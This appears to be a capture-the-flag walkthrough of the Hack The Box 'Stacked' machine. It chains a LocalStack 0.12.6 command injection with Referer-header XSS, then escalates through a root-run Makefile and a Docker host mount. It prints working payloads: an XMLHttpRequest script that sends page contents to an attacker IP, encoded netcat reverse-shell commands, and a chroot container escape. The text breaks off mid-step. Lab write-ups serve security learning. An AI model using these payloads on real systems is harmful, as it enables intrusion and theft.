┌──(root💀kali)-[~/hackthebox/machine/stacked] └─# nmap -sV -v -p- --min-rate=10000 10.10.11.112 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 2376/tcp open ssl/docker?
Based on OpenSSH version, the host is likely running Ubuntu Focal 20.04.
HTTP TCP 80
Looking at the page using curl, I see it redirected to http://stacked.htb/ so let’s add it to /etc/hosts.
Visiting the page on browser.
I run gobuster against the site with html extensions.
Found portfolio subdomain, I add it to /etc/hosts.
The download button links to portfolio.stacked.htb/files/docker-compose.yml, and will download the file.
Looking at the docker-compose.yml, The machine is likely has localstack version 0.12.6 running on the localhost. localstack is basically aws but host in local machine
Looking at localstack github repository, LocalStack version 0.12.6 is not the latest, chances are that version has vulnerability.
After some googling for vulnerability for that version, I found this blog greatly explain about the vulnerability.
Hack the Stack with LocalStack: Code Vulnerabilities Explained
I see several possible vulnerability. The OS Command Injection is the one we looking for.
Let’s start the image on our local machine first. make sure the docker-compose.yml exist in the same directory and run docker-compose up. It will download the localstack v0.12.6 image and running it.
1 2 3 4 5
docker-compose up
docker container ls -a
docker exec -ti 587e29281490 /bin/bash
We can see api.py code in /opt/code/localstack/localstack/dashboard/api.py has the route in line 85.
bash-5.0# cat /opt/code/localstack/localstack/dashboard/api.py import os import json from flask import Flask, render_template, jsonify, send_from_directory, request from flask_swagger import swagger from localstack import config from localstack.utils import common from localstack.services import generic_proxy, plugins from localstack.services import infra as services_infra from localstack.constants import VERSION, LOCALSTACK_WEB_PROCESS from localstack.dashboard import infra from localstack.utils.bootstrap import load_plugins, canonicalize_api_names from localstack.utils.aws.aws_stack import Environment
@app.route('/graph', methods=['POST']) def get_graph(): # TODO remove? """ Get deployment graph --- operationId: 'getGraph' parameters: - name: request in: body """ data = get_payload() env = Environment.from_string(data.get('awsEnvironment')) graph = infra.get_graph(name_filter=data['nameFilter'], env=env, region=data.get('awsRegion')) return jsonify(graph)
@app.route('/services', methods=['GET']) def get_status(): """ Get status of deployed services --- operationId: 'getStatus' """ result = services_infra.get_services_status() return jsonify(result)
@app.route('/services', methods=['POST']) def set_status(): """ Set status of deployed services --- operationId: 'setStatus' """ data = get_payload() result = services_infra.set_service_status(data) return jsonify(result)
@app.route('/kinesis/<streamName>/<shardId>/events/latest', methods=['POST']) def get_kinesis_events(streamName, shardId): """ Get latest events from Kinesis. --- operationId: 'getKinesisEvents' parameters: - name: streamName in: path - name: shardId in: path - name: request in: body """ data = get_payload() env = Environment.from_string(data.get('awsEnvironment')) result = infra.get_kinesis_events(stream_name=streamName, shard_id=shardId, env=env) return jsonify(result)
@app.route('/lambda/<functionName>/code', methods=['POST']) def get_lambda_code(functionName): """ Get source code for Lambda function. --- operationId: 'getLambdaCode' parameters: - name: functionName in: path - name: request in: body """ data = get_payload() env = Environment.from_string(data.get('awsEnvironment')) result = infra.get_lambda_code(func_name=functionName, env=env) return jsonify(result)
@app.route('/health') def get_health(): # TODO: this should be moved into a separate service, once the dashboard UI is removed reload = request.args.get('reload') is not None result = plugins.get_services_health(reload=reload) return jsonify(result)
def ensure_webapp_installed(): web_dir = os.path.realpath(os.path.join(os.path.dirname(__file__), 'web')) node_modules_dir = os.path.join(web_dir, 'node_modules', 'jquery') if not os.path.exists(node_modules_dir): print('Initializing installation of Web application (this could take a long time, please be patient)') common.run('cd "%s"; npm install' % web_dir)
On the OS Command Injection section of the blog, If I make a POST request to /lambda//code the parameter functionName is passed to get_lambda_code
The get_lambda_code function want awsEnvironment parameter So we can input the functionName with command injection with awsEnvironment parameter to our localstack machine to test it. I try this script to create a test file in the localstack machine.
1 2 3 4 5 6
┌──(root💀kali)-[~/hackthebox/machine/stacked] └─# curl -X POST "http://localhost:8080/lambda/func;touch%20test/code" -H "Content-Type: application/json" -d '{"awsEnvironment": "nothing"}' <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <title>500 Internal Server Error</title> <h1>Internal Server Error</h1> <p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
We need to send the POST request to port 8080 because that is the dashboard.
1 2 3 4
┌──(root💀kali)-[~/hackthebox/machine/stacked] └─# docker exec -ti 587e29281490 /bin/bash bash-5.0# ls -la test -rw-r--r-- 1 localsta localsta 0 Feb 14 03:34 test
And the command injection work. Now the problem is how to run it on the victim machine, Looking back n portfolio.stacked.htb page has a contact form, I try simple xss on the form and send it.
but It got detected. my initial thought is I need to bypass the detection. I intercept the request using burp suite and send it to repeater.
I try all XSS bypass payload in the message field but no luck, But when I try the payload on every headers, the js script is execute from Referer header and not returning XSS detected.
After 2 minutes my listener got a hit from the box.
1 2 3 4 5
┌──(root💀kali)-[~/hackthebox/machine/stacked] └─# python2 -m SimpleHTTPServer 80 Serving HTTP on 0.0.0.0 port 80 ... 10.10.11.112 - - [14/Feb/2022 01:44:05] code 404, message File not found 10.10.11.112 - - [14/Feb/2022 01:44:05] "GET /justatest HTTP/1.1" 404 -
Now from this XSS I need to get RCE, but how can I confirm that localstack exist on the remote target?
From the headers I can see that it’s using XMLHttpRequest to the request.
I can craft a XMLHttpRequest that doing a GET/POST request. save to to localstack_confirmation.js
1 2 3 4 5 6 7 8 9 10 11 12 13
// Doing GET request to localstack dashboard on port 8080 to see if it's exist var xhr = new XMLHttpRequest(); var target = 'http://localhost:8080/' xhr.open('GET', target, false); xhr.send(); // Sending the response back to my python listener. var response = xhr.responseText; var xhr2 = new XMLHttpRequest(); // Listener IP xhr2.open('GET', 'http://10.10.14.4/' + btoa(response), true); xhr2.send();
Start a python server on port 80.
I copied the successful XSS request from the burp suite to curl command to make it easier remove unnecessary header like User-Agent.
Run the curl POST request command and after 2 minutes, the python server show two GET request from target machine, the first GET request is the stacked machine getting the localstack_confirmation.js from python listener, and the second is executing the localstack_confirmation.js code that I make above and send the response back to python listener as base64.
I decode the base64, and it’s the index.html page from localstack. you can check it by running the localstack image again and visit http://localhost:8080 on your machine.
Now I know that localstack is running on the Stacked machine, It’s time to do OS Command Injection through XSS.
I create revshell.js.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
// Doing POST request to localstack of Stacked machine. var xhr = new XMLHttpRequest(); // the command injection payload is 'nc 10.10.14.4 4444 -e /bin/bash' // base64 your payload // // then url encode of "echo bmMgMTAuMTAuMTQuNCA0NDQ0IC1lIC9iaW4vYmFzaA== | base64 -d | sh" // // // The finish payload would be "echo%20bmMgMTAuMTAuMTQuNCA0NDQ0IC1lIC9iaW4vYmFzaA==%20%7C%20base64%20-d%20%7C%20sh" // and put the payload after the semicolon var target = 'http://localhost:8080/lambda/test;echo%20bmMgMTAuMTAuMTQuNCA0NDQ0IC1lIC9iaW4vYmFzaA==%20%7C%20base64%20-d%20%7C%20sh/code'
bash-5.0$ ls -al /.dockerenv -rwxr-xr-x 1 root root 0 Feb 14 01:27 /.dockerenv
bash-5.0$ ps -aef PID USER TIME COMMAND 1 root 0:00 {docker-entrypoi} /bin/bash /usr/local/bin/docker-entrypoi 14 root 0:03 {supervisord} /usr/bin/python3.8 /usr/bin/supervisord -c / 16 root 0:01 tail -qF /tmp/localstack_infra.log /tmp/localstack_infra.e 20 localsta 0:00 bash -c if [ "$START_WEB" = "0" ]; thenexit 0; fi; make w 21 root 0:00 make infra 22 localsta 0:00 make web 23 root 0:31 python bin/localstack start --host 24 localsta 0:14 python bin/localstack web 94 root 0:31 java -Djava.library.path=./DynamoDBLocal_lib -Xmx256m -jar 110 root 0:00 node /opt/code/localstack/localstack/node_modules/kinesali 350 localsta 0:00 /bin/sh -c { test `which aws` || . .venv/bin/activate; }; 356 localsta 0:00 sh 357 localsta 0:00 /bin/bash 360 localsta 0:00 python -c import pty; pty.spawn("/bin/bash") 361 localsta 0:00 /bin/bash 365 localsta 0:00 ps -aef
And Makefile is owned by localstack user, which makes me have access to that file.
1 2 3 4 5 6 7 8 9 10 11 12 13 14
bash-5.0$ ls -la total 180 drwxrwxrwx 1 localsta localsta 4096 Jul 19 2021 . drwxr-xr-x 1 root root 4096 Dec 23 2020 .. -rw-r--r-- 1 root root 62068 Feb 1 2021 .coverage drwxr-xr-x 6 localsta localsta 4096 Feb 1 2021 .venv -rw-rw-r-- 1 localsta localsta 8455 Feb 1 2021 Makefile drwxr-xr-x 2 localsta localsta 4096 Feb 1 2021 bin drwxr-xr-x 1 localsta localsta 4096 Feb 1 2021 localstack -rw-r--r-- 1 root root 61864 Feb 1 2021 nosetests.xml -rw-rw-r-- 1 localsta localsta 1529 Feb 1 2021 requirements.txt -rw-r--r-- 1 root root 3 Feb 14 01:27 supervisord.pid bash-5.0$ whoami localstack
My thought is, I owned Makefile and I see a make infra process is running as root, What if I inject my malicious code (reverse shell) and somehow I can crash or kill the container and make it run the make infra command again as root.
So I get back to localstack github repository to read all the source code or find which code to kill or restart the process without the need of permission.
localstack
After a long read and searching for restart, reboot, shutdown, reset. I eventually found this code.
The comment said
1 2 3
Header to indicate that the process should kill itself. This is required because if this process is started as root, then we cannot kill it from a non-root process.
So I can kill the localstack process by using the x-localstack-kill as request header.
Let’s put our reverse shell code to Makefile, I need to put the code inside the infra target, put the reverse shell in Makefile line 54.
test-docker: ENTRYPOINT="--entrypoint=" CMD="make test" make docker-run
test-docker-mount: ## Run automated tests in Docker (mounting local code) ENTRYPOINT="-v `pwd`/tests:/opt/code/localstack/tests" make test-docker-mount-code
running docker images command and docker container ls -a return
1 2 3 4 5
bash-5.0# docker container ls -a docker container ls -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 86099318c53b localstack/localstack-full:0.12.6 "docker-entrypoint.sh" 11 minutes ago Up 11 minutes 127.0.0.1:443->443/tcp, 127.0.0.1:4566->4566/tcp, 127.0.0.1:4571->4571/tcp, 127.0.0.1:8080->8080/tcp localstack_main d76e9ebac9d7 0601ea177088 "docker-entrypoint..." 6 months ago Exited (130) 6 months ago condescending_babbage
Looking back at Recon section above, there is one port I haven’t look at. Visiting the port on browser. We need to use https.
1
https://stacked.htb:2376
So the certificate is used by docker to authenticate.
I try to run the second localstack container that has Image ID 0601ea177088 and mount the real machine to /host directory of the container. First I need to open another terminal and give a reverse shell to that terminal by running
1
nc 10.10.14.4 1234 -e /bin/bash &
on the container root shell.
Now I have two root terminal.
Now let’s run the second localstack container that has Image ID 0601ea177088 on first terminal.
bash-5.0# docker run -it -v /:/host/ 0601ea177088 chroot /host bash Waiting for all LocalStack services to be ready 2022-02-14 07:13:35,073 CRIT Supervisor is running as root. Privileges were not dropped because no user is specified in the config file. If you intend to run as root, you can set user=root in the config file to avoid this message. 2022-02-14 07:13:35,079 INFO supervisord started with pid 14 2022-02-14 07:13:36,082 INFO spawned: 'dashboard' with pid 20 2022-02-14 07:13:36,085 INFO spawned: 'infra' with pid 21 2022-02-14 07:13:36,092 INFO success: dashboard entered RUNNING state, process has stayed up for > than 0 seconds (startsecs) (. .venv/bin/activate; bin/localstack web) (. .venv/bin/activate; exec bin/localstack start --host) 2022-02-14 07:13:37,098 INFO success: infra entered RUNNING state, process has stayed up for > than 1 seconds (startsecs) Waiting for all LocalStack services to be ready LocalStack version: 0.12.6 Starting local dev environment. CTRL-C to quit. LocalStack version: 0.12.6 Waiting for all LocalStack services to be ready [2022-02-14 07:13:51 +0000] [26] [INFO] Running on https://0.0.0.0:8081 (CTRL + C to quit) 2022-02-14T07:13:51:INFO:hypercorn.error: Running on https://0.0.0.0:8081 (CTRL + C to quit) Starting edge router (https port 4566)... Starting mock ACM service on http port 4566 ... Starting mock API Gateway service on http port 4566 ... Starting mock CloudFormation service on http port 4566 ... Starting mock CloudWatch service on http port 4566 ... Starting mock DynamoDB service on http port 4566 ... Starting mock DynamoDB Streams service on http port 4566 ... Starting mock EC2 service on http port 4566 ... Starting mock ES service on http port 4566 ... Starting mock Firehose service on http port 4566 ... Starting mock IAM service on http port 4566 ... Starting mock STS service on http port 4566 ... Starting mock Kinesis service on http port 4566 ... Starting mock KMS service on http port 4566 ... 2022-02-14T07:13:52:INFO:localstack.multiserver: Starting multi API server process on port 37199 [2022-02-14 07:13:52 +0000] [22] [INFO] Running on https://0.0.0.0:4566 (CTRL + C to quit) 2022-02-14T07:13:52:INFO:hypercorn.error: Running on https://0.0.0.0:4566 (CTRL + C to quit) [2022-02-14 07:13:52 +0000] [22] [INFO] Running on http://0.0.0.0:37199 (CTRL + C to quit) 2022-02-14T07:13:52:INFO:hypercorn.error: Running on http://0.0.0.0:37199 (CTRL + C to quit) Starting mock Lambda service on http port 4566 ... Starting mock CloudWatch Logs service on http port 4566 ... Starting mock Redshift service on http port 4566 ... Starting mock Route53 service on http port 4566 ... Starting mock S3 service on http port 4566 ... Starting mock Secrets Manager service on http port 4566 ... Starting mock SES service on http port 4566 ... Starting mock SNS service on http port 4566 ... Starting mock SQS service on http port 4566 ... Starting mock SSM service on http port 4566 ... Starting mock Cloudwatch Events service on http port 4566 ... Starting mock StepFunctions service on http port 4566 ... Waiting for all LocalStack services to be ready Waiting for all LocalStack services to be ready Waiting for all LocalStack services to be ready Waiting for all LocalStack services to be ready Ready. 2022-02-14T07:14:17:INFO:localstack.utils.analytics.profiler: Execution of "start_api_services" took 24456.59899711609ms
On the second terminal find the newly created CONTAINER ID by running docker container ls -a grep the latest one.
1 2 3 4 5
bash-5.0# docker container ls -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES aedd99d3bdfd 0601ea177088 "docker-entrypoint..." About a minute ago Up About a minute 4566/tcp, 4571/tcp, 8080/tcp romantic_bartik 493f53db650e localstack/localstack-full:0.12.6 "docker-entrypoint.sh" About an hour ago Up About an hour 127.0.0.1:443->443/tcp, 127.0.0.1:4566->4566/tcp, 127.0.0.1:4571->4571/tcp, 127.0.0.1:8080->8080/tcp localstack_main d76e9ebac9d7 0601ea177088 "docker-entrypoint..." 6 months ago Exited (130) 6 months ago condescending_babbage
aedd99d3bdfd is the latest CONTAINER ID Now run this on the second terminal.